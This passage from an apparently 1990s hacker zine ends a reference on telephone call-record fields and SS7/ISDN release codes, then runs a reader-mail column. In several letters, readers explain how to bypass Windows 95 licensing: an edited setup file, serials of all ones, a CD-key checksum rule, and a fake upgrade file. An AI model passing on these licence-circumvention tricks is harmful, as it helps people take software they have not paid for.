  2369. 27 = Coin Phone
  2370. 52 = OUTWATS
  2371. 61 = Cellular
  2372. 62 = Cellular from Type 2 trunks
  2373. 63 = Cellular from Type 3 trunks
  2374. 68 = Interlata Restricted - Hotel/Motel
  2375. 78 = Interlata Restricted - Coinless, Hospital, Inmate, etc.
  2376. 95 = Test Call
  2377.  
  2378. FCSI Info Digits used on IMT's
  2379. 00*= DDD/IDDD
  2380. 10*= Test CAll
  2381. 28 = SAC and VNET DDD/IDDD 
  2382. 29 = SAC and VNET DDD/IDDD with DTO envoked
  2383. 31 = SAC and VNET 7D DTC
  2384. 32 = SAC and VNET 7D DTC with DTO available
  2385. 33 = SAC and VNET 10D DTC
  2386. 34 = SAC and VNET 10D DTC with DTO available
  2387. 41 = SAC and VNET 7D DTC Digital Routing
  2388. 42 = SAC and VNET 7D DTC Digital Routing with DTO available
  2389. 43 = SAC and VNET 10D DTC Digital Routing
  2390. 44 = SAC and VNET 10D DTC Digital Routing with DTO available
  2391. 45 = Flex DTC
  2392. 46 = Flex DTC with DTO available
  2393. 47 = International VNET
  2394. 48 = International inbound SAC
  2395. 49 = Outbound IVNET
  2396. 50 = EIR Switch ID/Carrier ID + IDDD
  2397. 52*= OUTWATS
  2398. 61*= Cellular
  2399. 62*= Cellular (Type 2)
  2400. 63*= Cellular (Type 3)
  2401. 76 = Special Operator Services (Identified by ANI)
  2402.          
  2403. IN - Internetwork
  2404. -----------------
  2405. The default setting for this bit is "0".  It will be set to a "1" if
  2406. a business group or netinfo parameter is received from the NCS/DAP.
  2407.  
  2408. NAT - Network Access Type
  2409. -------------------------
  2410. Indicates which type of network access is used. This information is 
  2411. defined at the originating switch on the network, and will be sent 
  2412. to the next switch via the SS7 IAM message. If a switch receives this 
  2413. parameter in an SS7 message on an IMT trunk, the switch records the 
  2414. information in its call record.
  2415.  
  2416. 0 = Default
  2417. 1 = INWATS Card Access (800-950-XXXX, 800-444-XXXX) (see CN for XXXX)
  2418. 2 = 950-XXXX Card Access (see CN for XXXX)
  2419. 3 = Operator Assist Access (0+, 0-, card time-out, OP-OP transfer)
  2420. 4 = VNET Remote Access
  2421. 5 = BPP Access
  2422. 6-15 = Not currently used-available
  2423.  
  2424. NCS/DAP ID
  2425. ----------
  2426. Indicates that the switch processed the call, or that one of the 
  2427. NCS/DAPs is queried for information for services including, but not 
  2428. limited to VNET, calling card, 800, and 900. It indicates the ID 
  2429. of the NCS/DAP that was involved in the last transaction attempt. An 
  2430. NCS/DAP ID in this field indicates that a switch to NCS/DAP transaction 
  2431. is attempted, and does not necessarily mean that the transaction (a 
  2432. request message) was transmitted to the NCS/DAP and a response message 
  2433. was received.  If a response time-out occurs, the NCS/DAP value is 
  2434. recorded along with an action code of 5.
  2435.  
  2436. 0 = Switch call processing
  2437. 1 = NCS/DAP 1
  2438. 2 = NCS/DAP 2
  2439. 3 = NCS/DAP 3
  2440. 4-5 = Not currently used-available
  2441. 6 = Received from operator platform via RLT
  2442. 7 = TCAP to NCS/DAP
  2443.  
  2444. NOCLI - Nature of Calling Location ID
  2445. -------------------------------------
  2446. The calling location ID field (CLI Number or originating ANI) contains
  2447. the information that is referenced here in the NOCLI.
  2448.  
  2449. 0 = Not used
  2450. 1 = ANI from in-band trunk
  2451. 2 = SS7 charge number
  2452. 3 = SS7 calling party number
  2453. 4 = Original called number
  2454. 5 = Pseudo ANI created at this switch
  2455. 6 = CSI from originating trunk
  2456. 7 = Filed NPA-NXX trunk group information plus CSI
  2457. 8 = NNN+OSID+OTG or OOY+OSID+OTG (N=TBCD null)
  2458. 9 = Country code + national number
  2459. 10= No CLI recorded
  2460. 11= Redirecting number
  2461. 12= CLI received from operator platform via RLT
  2462. 13-15= Not currently used-available
  2463.  
  2464. Originating Port
  2465. ----------------
  2466. The port or circuit number the call was originated on.
  2467.  
  2468.  
  2469. Originating Trunk Class
  2470. -----------------------
  2471. 0= ONAL (FG-A)
  2472. 1= ONAT (FG-B, FG-C, FG-D, CAMA, LAMA)
  2473. 2= DAL, VNET CAMA, FG-D-DAL
  2474. 3= IMT (in-band or SS7)
  2475. 4= International circuit (R1, R2, #5, #6, #7)
  2476. 5= ISDN PRI
  2477. 6= OST (to be phased out)
  2478. 7-15= Not currently used-available
  2479.  
  2480. Originating Trunk Group
  2481. -----------------------
  2482. Trunk group the call originated on.
  2483.  
  2484. Prefix
  2485. ------
  2486. Customer-dialed prefix digits.  Not used on IMT originations.
  2487.  
  2488. 0 = No prefix digits received
  2489. 1 = 0- no additional customer-dialed address digits, operator assisted
  2490. 2 = 0+ domestic Customer-Dialed Operator Service (CDOS)
  2491. 3 = 01+ International CDOS
  2492. 4 = 011+ IDDD (including IDDD origination from presubscribed FG-D lines)
  2493. 5 = 1+DDD
  2494. 6 = 8+7D dialing (VNET)
  2495. 7 = Not currently used-available
  2496.  
  2497. Pre-Translated - Pretranslated Digits
  2498. -------------------------------------
  2499. Contains the pretranslated digits as dialed by the subscriber (or filed 
  2500. hotline number) if translated to another number. If the PTD number is 
  2501. longer than 10 digits, ECDR/EPNR is used.  If the dialed number is the 
  2502. destination number and is not translated to another number this field 
  2503. will remain blank. The 00Y code (?) for 800 service calls shall be 
  2504. recorded. If a 10D DTC call is received that uses virtual trunks, the 
  2505. 14-digit compressed number is recorded. For IMT call records the DNIS 
  2506. (originally pretranslated number) that is transported in the SS7 generic
  2507. address parameter is used.  The three digit data call indicator (#56)
  2508. for analog data calls shall not be recorded.
  2509.  
  2510. RO - Reported Overflow
  2511. ----------------------
  2512. The default setting for this bit is 0. It will be set to 1 if the 
  2513. originating trunk group has received an SS7 IAM indicating that the 
  2514. call had previously been involved in an overflow situation.
  2515.  
  2516. SA - Satellite
  2517. --------------
  2518. This bit, when set to 1, indicates a satellite circuit was involved 
  2519. in the call. The SA bit is set when the incoming trunk group is 
  2520. classmarked as satellite equipped, when the SAT digit on an incoming
  2521. in-band IMT call shows that a satellite circuit is involved in the 
  2522. connection (SA digit equals 2), or when the SS7 nature of connection 
  2523. parameter indicates that a satellite trunk was previously used. This 
  2524. bit is recorded for troubleshooting purposes and not for billing.
  2525.  
  2526. SS7 Cause - SS7 Release Code
  2527. ----------------------------
  2528. SS7 ISUP or ISDN release cause codes that shall be recorded only when
  2529. an SS7 message is received that terminates the call. This code is used 
  2530. in conjunction with the disconnect qualifier to 
  2531. determine which direction the SS7 release message came from. 
  2532.  
  2533.          ISDN - Release With Cause Definitions
  2534.            
  2535.  
  2536. RWC 1, Unallocated (unassigned) Number - no routing exists in switch or
  2537.        pbx for that number
  2538. RWC 2, No Route to Specified Network
  2539. RWC 3, No Route to Destination
  2540. RWC 4, Vacant area code or central office code
  2541. RWC 5, Misdialed Trunk Prefix
  2542. RWC 6, Channel unacceptable - interface identifiers {IId} are not explicit
  2543. RWC 7, Call awarded and being delivered in an established channel
  2544. RWC 8, Prefix 0 dialed but not allowed
  2545. RWC 9, Prefix 1 dialed but not allowed
  2546. RWC 10, Prefix 1 not dialed but required
  2547. RWC 11, More digits received than allowed, call proceeding
  2548. RWC 16, Normal Clearing
  2549. RWC 17, User Busy (Busy)
  2550. RWC 18, No User Responding - seen if circuits are in lockout
  2551. RWC 19, No answer from user (user alerted)
  2552. RWC 21, Call Rejected
  2553. RWC 22, Number Changed
  2554. RWC 26, Non-selected user clearing
  2555. RWC 27, Destination out of order
  2556. RWC 28, Invalid number format (address Incomplete) - Vnet customer,
  2557.         Dap not updated (action code=19)
  2558. RWC 29, Facility Rejected 
  2559. RWC 30, Response to STATUS ENQUIRY
  2560. RWC 31, Normal - Unspecified
  2561. RWC 34, No Circuit or channel Available
  2562. RWC 38, Network Out Of Order
  2563. RWC 41, Temporary Failure
  2564. RWC 42, Switching Equipment Congestion
  2565. RWC 43, Access information discarded
  2566. RWC 44, Requested Channel Not Available - interface identifiers not 
  2567.         matching
  2568. RWC 45, Preemption
  2569. RWC 46, Precedence call blocked
  2570. RWC 47, Resource Unavailable - Unspecified
  2571. RWC 49, Quality of service unavailable
  2572. RWC 50, Requested Facility Not Subscribed
  2573. RWC 52, Outgoing calls barred - service requested not authorized 
  2574. RWC 54, Incoming calls barred            
  2575. RWC 55, Incoming Calls Barred Within CUG
  2576. RWC 57, Bearer Capability Not Authorized
  2577. RWC 58, Bearer Capability Not Available
  2578. RWC 63, Service or Option Not Available
  2579. RWC 65, Bearer Capability Not Implemented - terminating end does not 
  2580.         support bearer capability
  2581. RWC 66, Channel type not implemented      
  2582. RWC 69, Requested Facility Not Implemented
  2583. RWC 70, Only Restricted Digital Information
  2584. RWC 79, Service or Option Not Implemented
  2585. RWC 81, Invalid call reference value
  2586. RWC 82, Identified channel does not exist
  2587. RWC 87, Called User Not Member of CUG
  2588. RWC 88, Incompatible Destination
  2589. RWC 91, Invalid Transit Network Selector
  2590. RWC 95, Invalid Message, Unspecified
  2591. RWC 96, Mandatory information element is missing
  2592. RWC 97, Message Type Non-Existent Or Not Implemented
  2593. RWC 98, Message not compatible with call state
  2594. RWC 99, Information element Non-Existent Or Not Implemented -Discarded
  2595. RWC 100, Invalid information element contents - release complete.  Message 
  2596.          identifies the invalid info element.
  2597. RWC 101, Message not compatible with call state     
  2598. RWC 102, Recovery on Timer Expired - exceeded 4 seconds
  2599. RWC 103, Parameter Non-Existent Or Not Implemented - Passed On
  2600. RWC 111, Protocol Error - Unspecified
  2601. RWC 127, Interworking - Unspecified
  2602.  
  2603.  
  2604. Term Code - Terminating Network Code
  2605. ------------------------------------
  2606. Supplied by the NCS/DAP to indicate the terminating facilities to be
  2607. used for the remainder of the network path of the call.
  2608.  
  2609. 0 = Not to be used-default
  2610. 1 = No routing restrictions
  2611. 2 = Avoid satellite
  2612. 3 = Route via DS1
  2613. 4 = Route via DS1 and avoid satellite
  2614. 5 = Route via protected facilities required
  2615. 6 = Route via protected facilities preferred
  2616. 7-15= Not currently used-available
  2617.  
  2618. Terminating Port 
  2619. ----------------
  2620. The circuit or port number of the last terminating trunk seized 
  2621. for an outgoing call attempt. For originating dial event error 
  2622. conditions in which no terminating trunk is seized, this field contains
  2623. the switch exception/treatment code indicating the cause of the dial
  2624. event error condition.
  2625.    DMS = MTT;MTC;IOD;CDR
  2626.          5 (DISPLOG) XXX (exception/treatment code)
  2627.  
  2628.    DEX = DISPLA CP TREAT
  2629.  
  2630. Outpulse Qual
  2631. -------------
  2632. Outpulsed call disposition qualifier. If the billing switch is not the 
  2633. switch where the information was delivered, the switch that delivered 
  2634. the information will send back an SS7 message that indicates which 
  2635. information was delivered, and the billing switch will record the 
  2636. information. Delivery indicators will be recorded at both the billing
  2637. switch and the delivering switch.
  2638.  
  2639. 0 = Not to be used-default
  2640. 1 = ANI/CSI was delivered
  2641. 2 = DNIS was delivered
  2642. 3 = ANI/CSI and DNIS were delivered
  2643. 4 = Calling party name was delivered (future)
  2644. 5 = User-to-user information was delivered
  2645. 6-15 = Not currently used-available
  2646.  
  2647. Answer Qual
  2648. -----------
  2649. Answer supervision qualifier. For SS7, the BCSI parameter in the 
  2650. answer message (ANM) indicates the type of answer; and in the ISDN 
  2651. applications, the ANM indicates that the call was answered.
  2652.  
  2653. 0 = Hardware detected answer (also in-band IMTs)
  2654. 1 = Software detected voice
  2655. 2 = Not currently used - available
  2656.  
  2657. Disconn Qual
  2658. ------------
  2659. Call disconnect qualifier is recorded for domestic and international 
  2660. calls at each switching system in the path of the call.  The first 
  2661. disconnect qualifier that is determined is recorded.
  2662.  
  2663. 0 = Calling party disconnect (clear forward)
  2664. 1 = Called party disconnect (clear backward)
  2665. 2 = Calling party reorigination
  2666. 3 = Switch initiated (default case includes Multiplexer (MUX)/radio 
  2667.     hits, switch restarts, switch audits, manual action, matrix or 
  2668.     hardware/software faults)
  2669. 4 = All routes busy (ARB) takes precedence over any other type of 
  2670.     disconnect qualifier. This includes calls that reoriginated or 
  2671.     that were disconnected due to the calling party going on hook.
  2672. 5 = Long ring disconnect (timer exceeded)
  2673. 6-15 = Not currently used-available
  2674.  
  2675. Terminating Trunk Class
  2676. -----------------------
  2677. 0 = ONAL (FG-A)
  2678. 1 = ONAT (FG-B, FG-C, FG-D, CAMA, LAMA)
  2679. 2 = DAL, VNET CAMA, FG-D-DAL
  2680. 3 = IMT (in-band or SS7)
  2681. 4 = International circuit (R1, R2, #5, #6, #7)
  2682. 5 = ISDN PRI
  2683. 6 = OST
  2684. 7-15 = Not currently used-available
  2685.  
  2686. Terminating Trunk Group
  2687. -----------------------
  2688. Trunk group the call terminated on. If a call fails because no trunks 
  2689. were available the last trunk group that was attempted is used.
  2690.  
  2691. Have phun.
  2692.  
  2693.  
  2694.  
  2695.  
  2696.  
  2697.  
  2698. +EOT+
  2699.  
  2700.  
  2701.  
  2702.  
  2703.  
  2704.  
  2705. /var/spool/mail
  2706. ~~~~~~~~~~~~~~~
  2707.  
  2708. [ Keep in mind that comments from me (Ryan Graciano) are enclosed in ]
  2709. [ these brackets :]
  2710.  
  2711. From: paul@atour.com
  2712. To: tiepilot@city-net.com
  2713. Subject: your I/O zine
  2714.  
  2715. Greetings,
  2716.  
  2717. I just want to tell you how much I enjoyed reading your two issues (I/O
  2718. zine) you have posted on your website. I am not the most technical of
  2719. people, but it is refreshing to finally understand what I read, the TCP/IP
  2720. column was just great. I just hope that you continue publishing this zine.
  2721. Future articles that might interest me would be IP Spoofing.
  2722.  
  2723. The best of luck to you, and keep up the great job....like your website too.
  2724.  
  2725. Paul
  2726.  
  2727. [ I just thought I'd kick things off with an example of the kind of ]
  2728. [ email I like to get :) ]
  2729.  
  2730. From: parallel@edgeoftheweb.net
  2731. To: tiepilot@city-net.com
  2732. Subject: Annex
  2733.  
  2734. I noticed your article about the Xylogic Annex terminals in
  2735. I/O #2. Wanted to make a couple comments.
  2736.  
  2737. #1 - Yeah, they are very insecure if not done right. You can
  2738. have full telnet/rlogin access out of them plus a whole lot
  2739. of other features that aren't documented.
  2740.  
  2741. #2 - There is a way to secure them so that the CLI is offline
  2742. whenever they are telnet'd to. Example: you are using the
  2743. Annex as a terminal server for your modems to your un*x box
  2744. for authentication. A modem dials in, and the Annex requests
  2745. username/password and verifies with the un*x system. If you
  2746. telnet to the Annex under this setup, the only way to get in
  2747. is to specify a specific port on the Annex a modem is connected
  2748. to (mind you, that modem must not be in use at the time) and
  2749. then entire a username and password. From there, it is entirely
  2750. dependant upon whether that user has shell access or not.
  2751.  
  2752. I understand there are a lot more details in my example, and I
  2753. don't think there's enough room to explain here. If you would
  2754. like a longer explanation, I'd be happy to provide. My company
  2755. used five Annex terminals (with 16 modems to each Annex) for
  2756. a few years, so I have an idea of how they work and their security.
  2757.  
  2758. Best regards,
  2759.  
  2760. parallel
  2761.  
  2762. [ If anyone knows of the undocumented features mentioned, drop me ]
  2763. [ a line. ]
  2764.  
  2765. From: hommels@earthlink.net
  2766. To: tiepilot@city-net.com
  2767. Subject: Upgrade vs. Full version of W95
  2768.  
  2769. Upgrade vs. Full version of W95
  2770.  
  2771. BJ Bell said in I/O #2:
  2772.  
  2773. Now this got me wondering about how much more stuff Microsoft has done,
  2774. assuming users are totally clueless.
  2775.  
  2776. Actually its siller than he said.  The cds are the same except for a line in
  2777. setuppp.inf (in precopy2.cab).
  2778.  
  2779. ProductType= <number>
  2780.  
  2781. 2 is an upgrade.
  2782. I think 1 is full.
  2783.  
  2784. As for product serial numbers, usually all 1s will work, otherwise all 1s
  2785. execpt for a final 2.
  2786.  
  2787. Fred
  2788.  
  2789. [ I received _lots_ of feedback regarding the article by BJ Bell on ]
  2790. [ Microsoft's silliness. I guess, for the most part, people agree on ]
  2791. [ their ineptitude... although, I did manage to start a few heated ]
  2792. [ discussions with some MS supporters who mailed me. Everyone is ]
  2793. [ entitled to their opinion, I suppose... ]
  2794.  
  2795. From: ajones49@juno.com
  2796. To: tiepilot@city-net.com
  2797. Subject: AntiOnline Staff 
  2798.  
  2799. To whom it may concern,
  2800.  
  2801.        I would like to request more information on becoming
  2802. part of the staff writers of AntiOnline. I am currently a high
  2803. school student with free time, and I would like to contribute
  2804. as much as I can back to "the scene." I do have experience
  2805. in hacking, phreaking, computers, and electronics, and would
  2806. be very honored to be a part of your publication. Please
  2807. contact me back at ajones49@juno.com. Thank you. -Alex Jones ("Cossack")
  2808.  
  2809. [ It concerns me, apparently :) We received a number of people asking ]
  2810. [ to write or involve themselves somehow, so I thought I'd outline the ]
  2811. [ general procedure here. If you would like to write for I/O, write an ]
  2812. [ _original_and_unpublished_ paper on the technical topic of your ]
  2813. [ choosing. Obviously, be sure that the topic has not already been covered ]
  2814. [ in I/O, or that you are at least extending what was written previously. ]
  2815. [ And, of course, the material has to be up to I/O's standards. Potential ]
  2816. [ writers should know what this means, but if you have any doubts, just ]
  2817. [ check a topic with me before you start writing. ]
  2818. [ Oh, by the way, you'll find an article by Cossack in this issue :]
  2819.  
  2820. From: mzullo@bestway.com.br 
  2821. To: tiepilot@city-net.com
  2822. Subject: Translation
  2823.  
  2824. Hi. I have read the first edition of I/O. I thought this was incredibly well
  2825. written and with lots of good information.
  2826. I have a suggestion to make you. I am from Brazil, and as you know, we
  2827. brazilians speak portuguese and many of us cannot speak, talk, write or read
  2828. english. I am in the computer scene for abou 8 years and I thought it would be
  2829. a great addition to the brazilian underground the translation of your zine to
  2830. my home language. I have the time and interest to make a good work for you.
  2831. The way the translation would be made can be defined by you. Please consider
  2832. this suggestion. I would be very glad to integrate this group, even if it's by
  2833. far away.
  2834. Thanks for your time.
  2835.  
  2836. Fame
  2837. Campinas, SP, Brazil
  2838. BCF - Brazilian Crackerz Force
  2839. http://www.chez.com/bcf/
  2840.  
  2841. [ More than one translation was proposed, and we're happy to accept any. ]
  2842. [ Translations to other languages are more than welcome, just mail me ]
  2843. [ when they're done, and I'll let people know they exist. ]
  2844.  
  2845. From: gstrohjr@cybertron.com
  2846. To: tiepilot@city-net.com
  2847. Subject: BJ Bell's article
  2848.  
  2849. Hi,
  2850. This is about BJ Bell's article in I/O 2. When I upgraded to
  2851. Win95, I refomatted my hard drive first. I had a friend make
  2852. me a Win95 boot disk. I copied my cd drivers and other
  2853. things on to this disk. I also copied a blank file called
  2854. Win.cn_ to fool the install program into thinking I was
  2855. upgrading. I like your site and the information helps people
  2856. make their systems more secure.
  2857.  
  2858. [ I haven't actually tried any of these yet, but they all seem pretty silly. ]
  2859. [ Windows is easily fooled into thinking you're upgrading. Of course, I run ]
  2860. [ Linux, and it's happy to have you upgrade or install from scratch.. and ]
  2861. [ all for free, imagine that. ]
  2862.  
  2863. From: toth@email.tgm.ac.at
  2864. To: tiepilot@city-net.com
  2865. Subject: Secure Socket Layers
  2866.  
  2867.  This article in I/O Issue 2 about Socket programming was very interesting. But
  2868. will i read something about Secure Socket Layers? This part of the story would
  2869. be very interestingfor me.
  2870.  Beside this, your zine provides me with information, which many big fat books
  2871. from, so called, intelligent people, weren't able to.
  2872.           Thank you and keep on doing this way!
  2873.                                     Marcus
  2874.  
  2875. [ Call me crazy, but I think people such as Kernigan, Ritchie, and Stevens ]
  2876. [ are pretty bright :) I wouldn't throw "Unix Network Programming" away ]
  2877. [ just yet (besides, the 2nd edition has a neat new cover). All kidding ]
  2878. [ aside, sources such as these are where our writers learned all this stuff ]
  2879. [ in the first place. The ever handy "TCP/IP Illustrated" series... ]
  2880. [ Anyhow, thanks for the compliments, and you might see something on ]
  2881. [ secure socket layers in the near future. ]
  2882.  
  2883. From: terradd80@hotmail.com
  2884. To: tiepilot@city-net.com
  2885. Subject: hack
  2886.  
  2887. I would like to learn to hack. Please send me all the info I need to get
  2888. started, so that I can expand my mind and one day understand this world better.
  2889. thanxs,  s
  2890.  
  2891. [ I'll get right on that. ]
  2892.  
  2893. From: 7080bsc@gte.net
  2894. To: tiepilot@city-net.com
  2895. Subject: Program
  2896.  
  2897. I am looking for a program that not only logs local user input but also logs
  2898. remote user output, screen buffers, etc. Are you aware of such a product ? I
  2899. have experience with keylog! and it seems to work well. Thank you for your help
  2900. in advance.
  2901.  
  2902. [ Contrary to what seems to be popular belief, I AM NOT a source for ]
  2903. [ every little tidbit of cracking information and silly program you need. ]
  2904. [ tiepilot != (sentient_ftp_site) ]
  2905.  
  2906. From: Bradley McCourt <bmccourt@sprint.ca>
  2907. To: tiepilot@city-net.com
  2908. Subject: Computers
  2909.  
  2910.  
  2911. Hello, I was wondering if you could help me somehow.
  2912. I have a computer's project to do for school, and i need ARTICLES on
  2913. Computer viruses, computer crimes (i.e. hacking, thefts, etc.), and
  2914. computer's effects on society (i.e. health risks, retraining, etc.)
  2915. If you could be of any service, it would be greatly appreciated.
  2916.  
  2917. Thanx
  2918.  
  2919. Shawna McCourt
  2920.  
  2921. [ Is it Bradley or Shawna? I guess we'll never know. But, as long as we're ]
  2922. [ on the topic, Bradley/Shawna did not just want help, they actually ]
  2923. [ wanted me to write the article for them. Unless you'd like to pay for ]
  2924. [ my services as a contract technical writer, don't hold your breath. :]
  2925.  
  2926. From: mickey7@home.com
  2927. To: tiepilot@city-net.com
  2928. Subject: problem
  2929.  
  2930. I am unable to view the archives page as well as several others...all they
  2931. contain is an ad at the top...
  2932.  
  2933. [ Just to clarify things, I am completely unresponsible for any/all html ]
  2934. [ on AntiOnline. All I do is edit and write for I/O, I can not fix broken ]
  2935. [ links, and I will not update the files section (I must have gotten ]
  2936. [ hundreds of individual emails from people asking me to update the files ]
  2937. [ section.) ]
  2938.  
  2939.  
  2940. Date: Fri, 29 May 1998 21:27:14 -0500 (EST)
  2941. From: jp@antionline.com
  2942. Subject: Automated AntiOnline WebForm
  2943.  
  2944. Below Is A Message From AntiOnline's Comment Form.
  2945. ---------------------------------------------------------------------------
  2946.  
  2947. This form was submitted by: The Grim Reaper.
  2948. Who runs the following website: www.freeyellow.com/members3/psyko219
  2949. And is the HACKER, CRACKER, PHONE PHREAKER for NONE
  2950. You can email  at: G Reaper18@aol.com
  2951.  Submitted The Following Comments/Questions:
  2952.  
  2953. I NEED AS MANY HACKERS AS POSSIBLE 2 E-MAIL ME 4 A HACKING JOB BEING DONE
  2954. WITHIN THE NEXT 2 WEEKS FROM 5/29/1998
  2955.  
  2956. [ OK! I'LL HIRE ALL THOSE HACKERS, AND WE'LL DO THAT, RIGHT AWAY! Oh, ]
  2957. [ it looks like I'm too late. Rats. ]
  2958.  
  2959. From: tookewel@hotmail.com
  2960. To: tiepilot@city-net.com
  2961. Subject: Post this article
  2962.  
  2963. Ryan,
  2964.  
  2965. I want to you to post an article for me from the Colorado Daily.
  2966.  
  2967. [ ARTICLE CUT ] 
  2968.  
  2969. -TooKewel
  2970.  
  2971. [ I think the Colorado Daily would contact me if they wanted me to ]
  2972. [ republish what they've already written. Of course, I have no idea why _I_ ]
  2973. [ would want to do such a thing... ]
  2974.  
  2975. From: Oberon@uniserve.com
  2976. To: tiepilot@city-net.com
  2977. Subject: I/O
  2978.  
  2979. I really enjoyed I/O 1 and 2. The section that most interested
  2980. me was the information on the TCP/IP stack. While that info
  2981. may be easy to find (so to speak) it was well presented, and I
  2982. found it easy to read, AND understand. I live in a small town
  2983. and as such our library is rather devoid of good computer
  2984. literature. I constantly purchase computer books, and that
  2985. gets expensive real fast. So, keep up the good work (and keep
  2986. going into the TCP/IP stack too, I am really interested in
  2987. how it works (or does'nt))
  2988.  
  2989. [ I like to think that we produce I/O for exactly these reasons. Thanks ]
  2990. [ for the feedback. ]
  2991. [ On another note, I was hoping to get a really negative email to ]
  2992. [ post right after this one, in contrast, but unfortunately I did not ]
  2993. [ receive anything along the lines of "you suck, and so does I/O". Oh well. ]
  2994.  
  2995. From: ndrengenberg@bigfoot.com
  2996. To: tiepilot@city-net.com
  2997. Subject: #Queen on IRCNet
  2998.  
  2999. i'm a regular (and channel op) on #Queen on IRCNet.
  3000. We've recently been the victims of several hostile
  3001. takeovers (all orchestrated by the same person i think),
  3002. and the latest seems to have well and truly stuffed us.
  3003. Do you know of anything we can do to get rid of these
  3004. jerks? We usually run an eggdrop and other bot(s), but
  3005. they've nuked them before and this time as well. Basically
  3006. the channel is theirs now.
  3007.  
  3008. Thanks,
  3009.  
  3010. mugs
  3011.  
  3012. [ Talk to whoever runs IRCNet. ]
  3013.  
  3014. From: nomad1.0@technologist.com
  3015. To: tiepilot@city-net.com
  3016. Subject: Phone systems
  3017.  
  3018. Hello Ryan,
  3019.  
  3020.      First of all I would just like to say that I have read every article that
  3021. IO has produced, and I have learned some new things from it.
  3022. I was wondering if maybe next issue (whenever it comes out) if you could get
  3023. someone to do an article geared towards phone systems and todays security in
  3024. them.  All the texts that I have read regarding this subject have been long
  3025. outdated.
  3026.  
  3027. Matt Thomas
  3028.  
  3029. [ Well, I took Matt's advice and posted a couple of articles relating ]
  3030. [ to the phone system. Enjoy :]
  3031.  
  3032. From: firewire@rica.net
  3033. To: tiepilot@city-net.com
  3034. Subject: CD key
  3035.  
  3036. Also for BJ Bell, The upgrade/full install part of the CD key is contained in
  3037. the first set of numbers for the XXX-XXXXXXX
  3038. format...Anywayz..in the XXX-XXXXXXX format the sum of the last set of digits
  3039. has to equal a number evenly divisible by seven and the key will be
  3040. accepted.....
  3041.  
  3042. [ I really did receive a LOT of email on this :]
  3043.  
  3044.  
  3045.  
  3046. +++EOF+++
  3047.